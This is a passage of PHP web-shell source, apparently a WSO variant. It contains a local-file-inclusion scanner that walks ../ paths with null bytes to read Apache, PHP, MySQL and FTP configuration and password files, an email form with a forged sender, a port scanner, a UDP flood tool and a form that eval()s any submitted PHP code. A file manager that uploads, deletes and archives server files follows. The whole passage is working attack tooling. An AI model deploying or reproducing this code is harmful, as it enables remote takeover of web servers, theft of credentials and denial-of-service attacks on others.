  581.             19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  582.             20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  583.             21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  584.             22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  585.             23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  586.             24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  587.             25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  588.             26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  589.             27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  590.             28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  591.             29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  592.             30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  593.             31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  594.             32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  595.             33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  596.             34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  597.             35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  598.                
  599.           $lfiphpini = array(
  600.             1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  601.             2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  602.             3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  603.             4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  604.             5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  605.             6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  606.             7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  607.             8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  608.             9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  609.             10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  610.             11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  611.             12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  612.             13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  613.             14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  614.             15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  615.             16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  616.             17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  617.             18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  618.             19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  619.             20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  620.             21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  621.             22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  622.             23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  623.             24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  624.             25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  625.             26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  626.             27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  627.        
  628.           $lfimysql = array(
  629.             1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  630.             2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  631.             3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  632.             4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  633.             5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  634.             6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  635.             7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  636.             8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  637.             9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  638.             10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  639.        
  640.           $lfiftp = array(
  641.             1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  642.             2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  643.             3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  644.             4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  645.             5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  646.             6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  647.             7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  648.             8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  649.             9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  650.             10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  651.             11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  652.             12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  653.             13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  654.             14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  655.             15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  656.             16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  657.             17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  658.             18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  659.             19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  660.             20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  661.             21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  662.             22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  663.             23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  664.             24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  665.             25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  666.             26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  667.             27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  668.             28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  669.             29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  670.             30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  671.             31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  672.             32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  673.             33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  674.             34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  675.             35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  676.             36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  677.             37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  678.             38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  679.             39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  680.             40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  681.             41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  682.             42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  683.             43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  684.             44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  685.        
  686.  
  687.          $x = 1;
  688.          if ( $type == 1 ) {
  689.             $res1 = FetchURL($target.$lfitest);
  690.             $res2 = FetchURL($target.$lfitest2);
  691.             $rhash1 = md5($res1);
  692.             $rhash2 = md5($res2);
  693.             if ($rhash1 != $rhash2) {
  694.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  695.             while($lfiaccess[$x]) {
  696.                 $res3 = FetchURL($target.$lfiaccess[$x]);
  697.                 $rhash3 = md5($res3);
  698.                 if ($rhash3 != $rhash2) {
  699.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br  />";
  700.                 }
  701.                 else {             
  702.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />";
  703.                 }
  704.                 $x++;
  705.       }
  706.       }
  707.          }
  708.          if ( $type == 2 ) {
  709.             $res1 = FetchURL($target.$lfitest);
  710.             $res2 = FetchURL($target.$lfitest2);
  711.             $rhash1 = md5($res1);
  712.             $rhash2 = md5($res2);
  713.             if ($rhash1 != $rhash2) {
  714.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  715.             while($lficonfig[$x]) {
  716.                 $res3 = FetchURL($target.$lficonfig[$x]);
  717.                 $rhash3 = md5($res3);
  718.                 if ($rhash3 != $rhash2) {
  719.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br  />";
  720.                 }
  721.                 else {             
  722.                               print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />";
  723.                 }
  724.                 $x++;
  725.       }
  726.       }
  727.          }
  728.          if ( $type == 3 ) {
  729.             $res1 = FetchURL($target.$lfitest);
  730.             $res2 = FetchURL($target.$lfitest2);
  731.             $rhash1 = md5($res1);
  732.             $rhash2 = md5($res2);
  733.             if ($rhash1 != $rhash2) {
  734.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  735.             while($lfierror[$x]) {
  736.                 $res3 = FetchURL($target.$lfierror[$x]);
  737.                 $rhash3 = md5($res3);
  738.                 if ($rhash3 != $rhash2) {
  739.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br  />";
  740.                 }
  741.                 else {             
  742.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />";
  743.                 }
  744.                 $x++;
  745.       }
  746.       }
  747.          }
  748.          if ( $type == 4 ) {
  749.             $res1 = FetchURL($target.$lfitest);
  750.             $res2 = FetchURL($target.$lfitest2);
  751.             $rhash1 = md5($res1);
  752.             $rhash2 = md5($res2);
  753.             if ($rhash1 != $rhash2) {
  754.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  755.             while($lfiphpini[$x]) {
  756.                 $res3 = FetchURL($target.$lfiphpini[$x]);
  757.                 $rhash3 = md5($res3);
  758.                 if ($rhash3 != $rhash2) {
  759.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br  />";
  760.                 }
  761.                 else {             
  762.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />";
  763.                 }
  764.                 $x++;
  765.       }
  766.       }
  767.          }
  768.          if ( $type == 5 ) {
  769.             $res1 = FetchURL($target.$lfitest);
  770.             $res2 = FetchURL($target.$lfitest2);
  771.             $rhash1 = md5($res1);
  772.             $rhash2 = md5($res2);
  773.             if ($rhash1 != $rhash2) {
  774.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  775.             while($lfimysql[$x]) {
  776.                 $res3 = FetchURL($target.$lfimysql[$x]);
  777.                 $rhash3 = md5($res3);
  778.                 if ($rhash3 != $rhash2) {
  779.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br  />";
  780.                 }
  781.                 else {             
  782.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />";
  783.                 }
  784.                 $x++;
  785.       }
  786.       }
  787.          }
  788.          if ( $type == 6 ) {
  789.             $res1 = FetchURL($target.$lfitest);
  790.             $res2 = FetchURL($target.$lfitest2);
  791.             $rhash1 = md5($res1);
  792.             $rhash2 = md5($res2);
  793.             if ($rhash1 != $rhash2) {
  794.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
  795.             while($lfiftp[$x]) {
  796.                 $res3 = FetchURL($target.$lfiftp[$x]);
  797.                 $rhash3 = md5($res3);
  798.                 if ($rhash3 != $rhash2) {
  799.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br  />";
  800.                 }
  801.                 else {             
  802.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />";
  803.                 }
  804.                 $x++;
  805.       }
  806.       }
  807.          }
  808. if ( $type == 7 ) {
  809.             $res1 = FetchURL($target.$lfitest);
  810.             $res2 = FetchURL($target.$lfitest2);
  811.             $rhash1 = md5($res1);
  812.             $rhash2 = md5($res2);
  813.             if ($rhash1 != $rhash2) {
  814.                 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";{
  815.                 $res3 = FetchURL($target.$lfiprocenv);
  816.                 $rhash3 = md5($res3);
  817.                 if ($rhash3 != $rhash2) {
  818.                 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br  />";
  819.                 }
  820.                 else {             
  821.                               print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />";
  822.                 }
  823.       }
  824.       }
  825.          }
  826.       }
  827. wsoFooter();
  828. }
  829. function actionphptools() {
  830. wsoHeader();
  831. ?><center><?php
  832. //mailer
  833. echo '<b>Mailer</b><br>
  834. <form action="'.$surl.'" method=POST>
  835. <input type="hidden" name="a" value="phptools">
  836. <input type=text name=to value=to><br>
  837. <input type=text name=from value=from><br>
  838. <input type=text name=subject value=subject><br>
  839. <input type=text name=body value=body><br>
  840. <input type=submit name=submit value=Submit></form>';
  841. if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
  842.     $headers = 'From: '.$_POST['from'];
  843.     mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
  844.     echo 'Email sent.';
  845. }
  846.  
  847.  
  848. ///---------------------------------------------------------------------------\
  849. //|Lame port scanner                                                          |
  850. //|needs alot of work                                                         |
  851. //|                                                                           |
  852. //|                                                                           |
  853. //\---------------------------------------------------------------------------/
  854. echo '<br><b>Port Scanner</b><br>';
  855. //takes starting port
  856. $start = strip_tags($_POST['start']);
  857. //takes ending port
  858. $end = strip_tags($_POST['end']);
  859. //takes host address
  860. $host = strip_tags($_POST['host']);
  861.  
  862. //if host is not null and end and start ports and numeric
  863. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  864. //so start at the starting port and end when end port is reached
  865. for($i = $start; $i<=$end; $i++){
  866. //open a connection to remote host on port i
  867.     $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  868. //if connection is succesfull then echo it is open
  869.     if($fp){
  870.         echo 'Port '.$i.' is <font color=green>open</font><br>';
  871.     }
  872.     flush();
  873.     }
  874. }else{
  875. ?>
  876. <form action="?" method="POST">
  877. <input type="hidden" name="a" value="phptools">
  878. Host:<br />
  879. <input type="text" name="host" value="localhost"/><br />
  880. Port start:<br />
  881. <input type="text" name="start" value="0"/><br />
  882. Port end:<br />
  883. <input type="text" name="end" value="5000"/><br />
  884. <input type="submit" value="Scan Ports" />
  885. </form>
  886. <?php
  887. }
  888.  
  889. //UDP
  890. if(isset($_POST['host'])&&is_numeric($_POST['time'])){
  891.     $pakits = 0;
  892.     ignore_user_abort(TRUE);
  893.     set_time_limit(0);
  894.     
  895.     $exec_time = $_POST['time'];
  896.     
  897.     $time = time();
  898.     //print "Started: ".time('h:i:s')."<br>";
  899.     $max_time = $time+$exec_time;
  900.  
  901.     $host = $_POST['host'];
  902.     
  903.     for($i=0;$i<65000;$i++){
  904.             $out .= 'X';
  905.     }
  906.     while(1){
  907.     $pakits++;
  908.             if(time() > $max_time){
  909.                     break;
  910.             }
  911.             $rand = rand(1,65000);
  912.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  913.             if($fp){
  914.                     fwrite($fp, $out);
  915.                     fclose($fp);
  916.             }
  917.     }
  918.     echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
  919.     echo '<br><br>
  920.         <form action="'.$surl.'" method=POST>
  921.         <input type="hidden" name="a" value="phptools">
  922.         Host: <input type=text name=host value=localhost>
  923.         Length (seconds): <input type=text name=time value=9999>
  924.         <input type=submit value=Go></form>';
  925. }else{ echo '<br><b>UDP Flood</b><br>
  926.             <form action=? method=POST>
  927.             <input type="hidden" name="a" value="phptools">
  928.             Host: <br><input type=text name=host value=localhost><br>
  929.             Length (seconds): <br><input type=text name=time value=9999><br>
  930.             <input type=submit value=Go></form>';
  931. }
  932. ?></center><?php
  933. wsoFooter();}
  934. function actionPhp() {
  935.     if(isset($_POST['ajax'])) {
  936.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
  937.         ob_start();
  938.         eval($_POST['p1']);
  939.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  940.         echo strlen($temp), "\n", $temp;
  941.         exit;
  942.     }
  943.     wsoHeader();
  944.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  945.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  946.         ob_start();
  947.         phpinfo();
  948.         $tmp = ob_get_clean();
  949.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  950.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  951.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  952.     }
  953.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  954.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  955.     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  956.     echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  957.     if(!empty($_POST['p1'])) {
  958.         ob_start();
  959.         eval($_POST['p1']);
  960.         echo htmlspecialchars(ob_get_clean());
  961.     }
  962.     echo '</pre></div>';
  963.     wsoFooter();
  964. }
  965.  
  966. function actionFilesMan() {
  967.     wsoHeader();
  968.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  969.     if(!empty($_POST['p1'])) {
  970.         switch($_POST['p1']) {
  971.             case 'uploadFile':
  972.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  973.                     echo "Can't upload file!";
  974.                 break;
  975.             case 'mkdir':
  976.                 if(!@mkdir($_POST['p2']))
  977.                     echo "Can't create new dir";
  978.                 break;
  979.             case 'delete':
  980.                 function deleteDir($path) {
  981.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  982.                     $dh  = opendir($path);
  983.                     while ( ($item = readdir($dh) ) !== false) {
  984.                         $item = $path.$item;
  985.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  986.                             continue;
  987.                         $type = filetype($item);
  988.                         if ($type == "dir")
  989.                             deleteDir($item);
  990.                         else
  991.                             @unlink($item);
  992.                     }
  993.                     closedir($dh);
  994.                     @rmdir($path);
  995.                 }
  996.                 if(is_array(@$_POST['f']))
  997.                     foreach($_POST['f'] as $f) {
  998.                         if($f == '..')
  999.                             continue;
  1000.                         $f = urldecode($f);
  1001.                         if(is_dir($f))
  1002.                             deleteDir($f);
  1003.                         else
  1004.                             @unlink($f);
  1005.                     }
  1006.                 break;
  1007.             case 'paste':
  1008.                 if($_SESSION['act'] == 'copy') {
  1009.                     function copy_paste($c,$s,$d){
  1010.                         if(is_dir($c.$s)){
  1011.                             mkdir($d.$s);
  1012.                             $h = @opendir($c.$s);
  1013.                             while (($f = @readdir($h)) !== false)
  1014.                                 if (($f != ".") and ($f != ".."))
  1015.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1016.                         } elseif(is_file($c.$s))
  1017.                             @copy($c.$s, $d.$s);
  1018.                     }
  1019.                     foreach($_SESSION['f'] as $f)
  1020.                         copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  1021.                 } elseif($_SESSION['act'] == 'move') {
  1022.                     function move_paste($c,$s,$d){
  1023.                         if(is_dir($c.$s)){
  1024.                             mkdir($d.$s);
  1025.                             $h = @opendir($c.$s);
  1026.                             while (($f = @readdir($h)) !== false)
  1027.                                 if (($f != ".") and ($f != ".."))
  1028.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  1029.                         } elseif(@is_file($c.$s))
  1030.                             @copy($c.$s, $d.$s);
  1031.                     }
  1032.                     foreach($_SESSION['f'] as $f)
  1033.                         @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  1034.                 } elseif($_SESSION['act'] == 'zip') {
  1035.                     if(class_exists('ZipArchive')) {
  1036.                         $zip = new ZipArchive();
  1037.                         if ($zip->open($_POST['p2'], 1)) {
  1038.                             chdir($_SESSION['c']);
  1039.                             foreach($_SESSION['f'] as $f) {
  1040.                                 if($f == '..')
  1041.                                     continue;
  1042.                                 if(@is_file($_SESSION['c'].$f))
  1043.                                     $zip->addFile($_SESSION['c'].$f, $f);
  1044.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  1045.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  1046.                                     foreach ($iterator as $key=>$value) {
  1047.                                         $zip->addFile(realpath($key), $key);
  1048.                                     }
  1049.                                 }
  1050.                             }
  1051.                             chdir($GLOBALS['cwd']);
  1052.                             $zip->close();
  1053.                         }
  1054.                     }
  1055.                 } elseif($_SESSION['act'] == 'unzip') {
  1056.                     if(class_exists('ZipArchive')) {
  1057.                         $zip = new ZipArchive();
  1058.                         foreach($_SESSION['f'] as $f) {
  1059.                             if($zip->open($_SESSION['c'].$f)) {
  1060.                                 $zip->extractTo($GLOBALS['cwd']);
  1061.                                 $zip->close();
  1062.                             }
  1063.                         }
  1064.                     }
  1065.                 } elseif($_SESSION['act'] == 'tar') {
  1066.                     chdir($_SESSION['c']);
  1067.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  1068.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  1069.                     chdir($GLOBALS['cwd']);
  1070.                 }
  1071.                 unset($_SESSION['f']);
  1072.                 break;
  1073.             default:
  1074.                 if(!empty($_POST['p1'])) {
  1075.                     $_SESSION['act'] = @$_POST['p1'];
  1076.                     $_SESSION['f'] = @$_POST['f'];
  1077.                     foreach($_SESSION['f'] as $k => $f)
  1078.                         $_SESSION['f'][$k] = urldecode($f);
  1079.                     $_SESSION['c'] = @$_POST['c'];
  1080.                 }
  1081.                 break;
  1082.         }
  1083.     }
  1084.     $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1085.     if($dirContent === false) {    echo 'Can\'t open this folder!';wsoFooter(); return; }
  1086.     global $sort;
  1087.     $sort = array('name', 1);
  1088.     if(!empty($_POST['p1'])) {
  1089.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1090.             $sort = array($match[1], (int)$match[2]);
  1091.     }
  1092. echo "<script>
  1093.     function sa() {
  1094.         for(i=0;i<d.files.elements.length;i++)
  1095.             if(d.files.elements[i].type == 'checkbox')
  1096.                 d.files.elements[i].checked = d.files.elements[0].checked;
  1097.     }
  1098.  
  1099. </script>
  1100. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1101. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1102.     $dirs = $files = array();
  1103.     $n = count($dirContent);
  1104.     for($i=0;$i<$n;$i++) {
  1105.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1106.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1107.         $tmp = array('name' => $dirContent[$i],
  1108.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  1109.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1110.                      'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1111.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1112.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1113.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1114.                     );
  1115.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1116.             $files[] = array_merge($tmp, array('type' => 'file'));
  1117.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1118.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1119.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  1120.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1121.     }
  1122.     $GLOBALS['sort'] = $sort;
  1123.     function wsoCmp($a, $b) {
  1124.         if($GLOBALS['sort'][0] != 'size')
  1125.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1126.         else
  1127.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1128.     }
  1129.     usort($files, "wsoCmp");
  1130.     usort($dirs, "wsoCmp");
  1131.     $files = array_merge($dirs, $files);
  1132.     $l = 0;
  1133.     foreach($files as $f) {
  1134.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1135.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1136.         $l = $l?0:1;
  1137.     }
  1138.     echo "<tr><td colspan=7>
  1139.  
  1140.     <input type=hidden name=a value='FilesMan'>
